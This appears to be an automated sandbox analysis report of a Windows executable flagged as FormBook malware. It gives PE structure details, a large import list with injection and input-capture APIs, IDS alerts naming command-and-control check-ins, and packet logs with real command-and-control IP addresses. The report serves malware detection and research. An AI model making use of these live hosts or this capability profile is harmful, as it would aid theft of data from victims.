                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x820000x840.rdata
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                              Sections

                                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                              .text0x10000x800170x802006c20c6bf686768b6f134f5bd508171bcFalse0.5602991615853659data6.634688230255595IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                              .rdata0x820000xd95c0xda00f979966509a93083729d23cdfd2a6f2dFalse0.36256450688073394data4.880040824124099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                              .data0x900000x1a5180x6800e5d77411f751d28c6eee48a743606795False0.1600060096153846data2.2017649896261107IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                              .rsrc0xab0000x92980x9400f6be76de0ef2c68f397158bf01bdef3eFalse0.4896801097972973data5.530303089784181IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                              Resources

                                                                                                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                              RT_ICON0xab5c80x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                                                                                                                                              RT_ICON0xab6f00x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                                                                                                                                              RT_ICON0xab8180x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                                                                                                                                              RT_ICON0xab9400x668Device independent bitmap graphic, 48 x 96 x 4, image size 1152EnglishGreat Britain0.48109756097560974
                                                                                                                                                                              RT_ICON0xabfa80x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 512EnglishGreat Britain0.5672043010752689
                                                                                                                                                                              RT_ICON0xac2900x128Device independent bitmap graphic, 16 x 32 x 4, image size 128EnglishGreat Britain0.6418918918918919
                                                                                                                                                                              RT_ICON0xac3b80xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colorsEnglishGreat Britain0.7044243070362474
                                                                                                                                                                              RT_ICON0xad2600x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colorsEnglishGreat Britain0.8077617328519856
                                                                                                                                                                              RT_ICON0xadb080x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colorsEnglishGreat Britain0.5903179190751445
                                                                                                                                                                              RT_ICON0xae0700x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9600EnglishGreat Britain0.5503112033195021
                                                                                                                                                                              RT_ICON0xb06180x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishGreat Britain0.6050656660412758
                                                                                                                                                                              RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                                                                                                              RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                                                                                                              RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                                                                                                              RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                                                                                                              RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                                                                                                              RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                                                                                                              RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                                                                                                              RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                                                                                                              RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                                                                                                              RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                                                                                                              RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                                                                                                              RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                                                                                                              RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                                                                                                              RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                                                                                                              RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                                                                                                              RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                                                                                                              Imports

                                                                                                                                                                              DLLImport
                                                                                                                                                                              WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                                                                                                              VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                                                                                                              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                                                                                                              COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                                                                                                              MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                                                                                                              WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                                                                                                              PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                                                                                                              USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                                                                                                              KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                                                                                                              USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                                                                                                              GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                                                                                                              COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                                                                                                              ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                                                                                                              SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                                                                                                              ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                                                                                                              OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                                                                                                              Possible Origin

                                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                              EnglishGreat Britain
                                                                                                                                                                              EnglishUnited States

                                                                                                                                                                              Network Behavior

                                                                                                                                                                              Suricata IDS Alerts

                                                                                                                                                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                              2024-10-02T15:16:19.410323+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.74970584.32.84.3280TCP
                                                                                                                                                                              2024-10-02T15:16:43.018659+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.749710199.59.243.22780TCP
                                                                                                                                                                              2024-10-02T15:16:56.467675+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.74971437.9.175.16380TCP
                                                                                                                                                                              2024-10-02T15:17:09.917405+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.74971867.223.117.16980TCP
                                                                                                                                                                              2024-10-02T15:17:24.061619+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.749722154.9.228.5680TCP
                                                                                                                                                                              2024-10-02T15:17:37.322526+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.749726203.161.41.20580TCP
                                                                                                                                                                              2024-10-02T15:17:50.540004+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.7497303.33.130.19080TCP
                                                                                                                                                                              2024-10-02T15:18:04.666433+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.749734162.240.81.1880TCP
                                                                                                                                                                              2024-10-02T15:18:18.667219+02002050745ET MALWARE FormBook CnC Checkin (GET) M51192.168.2.7497385.39.10.9380TCP

                                                                                                                                                                              Network Port Distribution

                                                                                                                                                                              TCP Packets

                                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                              Oct 2, 2024 15:16:18.633960009 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:18.638977051 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:18.639085054 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:18.645672083 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:18.650605917 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410176992 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410222054 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410259008 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410291910 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410322905 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410325050 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410357952 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410361052 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410399914 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410403967 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410495996 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410530090 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410542965 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410567045 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410598993 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410609007 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410628080 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410649061 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:19.410748959 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.410764933 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.414946079 CEST4970580192.168.2.784.32.84.32
                                                                                                                                                                              Oct 2, 2024 15:16:19.420015097 CEST804970584.32.84.32192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:34.532197952 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:34.537164927 CEST8049706199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:34.537424088 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:34.548511028 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:34.553353071 CEST8049706199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:35.011574030 CEST8049706199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:35.011605024 CEST8049706199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:35.011622906 CEST8049706199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:35.011825085 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:35.011825085 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:36.053525925 CEST4970680192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:37.070697069 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:37.075767040 CEST8049708199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:37.075864077 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:37.091536999 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:37.096359015 CEST8049708199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:37.530669928 CEST8049708199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:37.530713081 CEST8049708199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:37.530750990 CEST8049708199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:37.530771017 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:37.530791044 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:38.598620892 CEST4970880192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:39.617813110 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:39.622677088 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:39.622818947 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:39.633575916 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:39.638398886 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:39.638660908 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:40.097243071 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:40.097379923 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:40.097397089 CEST8049709199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:40.097435951 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:40.097465038 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:41.145414114 CEST4970980192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:42.164443970 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:42.552527905 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:42.552606106 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:42.559709072 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:42.564971924 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:43.018353939 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:43.018368006 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:43.018376112 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:43.018438101 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:43.018659115 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:43.018659115 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:43.023288965 CEST4971080192.168.2.7199.59.243.227
                                                                                                                                                                              Oct 2, 2024 15:16:43.028125048 CEST8049710199.59.243.227192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.159260035 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:48.164074898 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.164172888 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:48.174316883 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:48.179179907 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.887969017 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.887989044 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.888000011 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.888035059 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:48.888103962 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.888114929 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.888139963 CEST804971137.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:48.888179064 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:48.888179064 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:49.676824093 CEST4971180192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:50.695921898 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:50.700804949 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:50.700890064 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:50.712022066 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:50.717189074 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371375084 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371402025 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371423960 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371434927 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371445894 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371459007 CEST804971237.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:51.371524096 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:51.371579885 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:52.224483013 CEST4971280192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.242278099 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.247617960 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.247740030 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.260324955 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.265351057 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.265378952 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924268007 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924288034 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924302101 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924372911 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.924385071 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924422979 CEST804971337.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:53.924428940 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:53.924455881 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:54.770425081 CEST4971380192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:55.789360046 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:55.794394970 CEST804971437.9.175.163192.168.2.7
                                                                                                                                                                              Oct 2, 2024 15:16:55.794511080 CEST4971480192.168.2.737.9.175.163
                                                                                                                                                                              Oct 2, 2024 15:16:55.800770998 CEST4971480192.168.2.737.9.175.163
